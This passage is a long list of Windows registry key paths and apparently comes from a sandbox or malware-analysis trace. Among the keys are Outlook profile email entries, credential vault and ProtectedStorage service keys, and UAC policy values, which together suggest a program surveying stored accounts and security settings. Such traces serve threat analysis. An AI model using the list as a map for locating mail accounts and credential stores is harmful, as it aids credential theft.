NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary\Email HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\LanmanWorkstation\Parameters\RpcCacheTimeout HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\WOW64 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\Environment HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VaultSvc\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Group HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AppIDSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AppIDSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Appinfo\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Appinfo\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AppMgmt\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AppMgmt\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AxInstSV\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AxInstSV\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BDESVC\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BDESVC\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\bthserv\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\bthserv\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CertPropSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CertPropSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\dot3svc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\dot3svc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EapHost\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EapHost\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EFS\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EFS\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\fdPHost\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\fdPHost\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\hidserv\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\hidserv\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\hkmsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\hkmsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\HomeGroupListener\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\HomeGroupListener\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\HomeGroupProvider\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\HomeGroupProvider\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\idsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\idsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\IPBusEnum\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\IPBusEnum\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KtmRm\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KtmRm\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\lltdsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\lltdsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\lmhosts\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\lmhosts\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Mcx2Svc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Mcx2Svc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MpsSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MpsSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MSiSCSI\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MSiSCSI\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Netlogon\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Netlogon\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetMsmqActivator\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetMsmqActivator\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetPipeActivator\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetPipeActivator\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetTcpActivator\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetTcpActivator\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetTcpPortSharing\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetTcpPortSharing\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2psvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2psvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PeerDistSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PeerDistSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\pla\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\pla\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PNRPAutoReg\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PNRPAutoReg\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PNRPsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PNRPsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\ProtectedStorage\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\ProtectedStorage\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\QWAVE\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\QWAVE\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RasAuto\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RasAuto\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RasMan\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RasMan\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RemoteAccess\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RemoteAccess\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RemoteRegistry\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RemoteRegistry\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SCardSvr\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SCardSvr\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SCPolicySvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SCPolicySvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\seclogon\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\seclogon\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SensrSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SensrSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SessionEnv\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SessionEnv\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SharedAccess\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SharedAccess\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppuinotify\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppuinotify\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SstpSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SstpSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\StorSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\StorSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TabletInputService\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TabletInputService\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TapiSrv\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TapiSrv\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TBS\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TBS\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TermService\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TermService\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\THREADORDER\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\THREADORDER\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\UmRdpService\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\UmRdpService\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\upnphost\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\upnphost\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\W32Time\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\W32Time\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WbioSrvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WbioSrvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wcncsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wcncsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WcsPlugInService\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WcsPlugInService\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WebClient\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WebClient\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Wecsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Wecsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wercplsupport\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wercplsupport\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WerSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WerSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WinDefend\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WinDefend\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WinRM\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WinRM\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Wlansvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Wlansvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WPCSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WPCSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wudfsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wudfsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WwanSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WwanSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AppIDSvc\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Mcx2Svc\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\QWAVE\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SCardSvr\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SensrSvc\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TBS\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\upnphost\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wcncsvc\RequiredPrivileges HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-19\ProfileImagePath HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Environment HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Winmgmt\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\Group HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Group HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000\ProfileImagePath HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\CoInitializeSecurityParam HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\AuthenticationLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\ImpersonationLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\AuthenticationCapabilities HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\CoInitializeSecurityAppID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\DeferredCoInitializeSecurityServices HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\DefaultRpcStackSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\SystemCritical HKEY_CURRENT_USER\Control Panel\International\LocaleName HKEY_CURRENT_USER\Control Panel\International\sCountry HKEY_CURRENT_USER\Control Panel\International\sList HKEY_CURRENT_USER\Control Panel\International\sDecimal HKEY_CURRENT_USER\Control Panel\International\sThousand HKEY_CURRENT_USER\Control Panel\International\sGrouping HKEY_CURRENT_USER\Control Panel\International\sNativeDigits HKEY_CURRENT_USER\Control Panel\International\sCurrency HKEY_CURRENT_USER\Control Panel\International\sMonDecimalSep HKEY_CURRENT_USER\Control Panel\International\sMonThousandSep HKEY_CURRENT_USER\Control Panel\International\sMonGrouping HKEY_CURRENT_USER\Control Panel\International\sPositiveSign HKEY_CURRENT_USER\Control Panel\International\sNegativeSign HKEY_CURRENT_USER\Control Panel\International\sTimeFormat HKEY_CURRENT_USER\Control Panel\International\sShortTime HKEY_CURRENT_USER\Control Panel\International\s1159 HKEY_CURRENT_USER\Control Panel\International\s2359 HKEY_CURRENT_USER\Control Panel\International\sShortDate HKEY_CURRENT_USER\Control Panel\International\sYearMonth HKEY_CURRENT_USER\Control Panel\International\sLongDate HKEY_CURRENT_USER\Control Panel\International\iCountry HKEY_CURRENT_USER\Control Panel\International\iMeasure HKEY_CURRENT_USER\Control Panel\International\iPaperSize HKEY_CURRENT_USER\Control Panel\International\iDigits HKEY_CURRENT_USER\Control Panel\International\iLZero HKEY_CURRENT_USER\Control Panel\International\iNegNumber HKEY_CURRENT_USER\Control Panel\International\NumShape HKEY_CURRENT_USER\Control Panel\International\iCurrDigits HKEY_CURRENT_USER\Control Panel\International\iCurrency HKEY_CURRENT_USER\Control Panel\International\iNegCurr HKEY_CURRENT_USER\Control Panel\International\iCalendarType HKEY_CURRENT_USER\Control Panel\International\iFirstDayOfWeek HKEY_CURRENT_USER\Control Panel\International\iFirstWeekOfYear HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\ServiceDll HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\ServiceManifest HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\ServiceMain HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\InitialTimeout HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\InitialSystemCacheSize HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\MaximumSystemCacheSize HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\InitialUserCacheSize HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\MaximumUserCacheSize HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\ServiceDllUnloadOnStop HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\Type HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\FileMax HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\FileCounter HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\MinBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\MaxBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\Latency HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\ClockType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\SidType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\ControlGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\MaxSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\MaxSizeUpper HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\Retention HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\AutoBackupLogFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\File HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\FilterId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\Isolation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\OwningPublisher HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\ChannelAccess 